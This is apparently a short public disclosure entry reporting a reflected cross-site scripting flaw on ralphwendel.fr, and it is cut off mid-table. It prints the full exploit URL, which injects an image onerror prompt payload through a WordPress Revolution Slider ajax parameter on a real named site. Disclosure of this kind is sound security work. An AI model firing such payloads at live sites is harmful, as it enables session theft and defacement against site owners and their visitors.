ralphwendel.fr XSS vulnerability

Vulnerable URL: http://www.ralphwendel.fr/wp-admin/admin-ajax.php?action=revsliderajaxactionaction=%3Ch1%3ER3NW4%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cimg%20src=x%20onerror=prompt%28String.fromCharCode%2847,88,83,83,80,79,83,69,68,47%29%29%20/%3E%3C!-- Details: Description| Value ---|--- Patched:| Ye...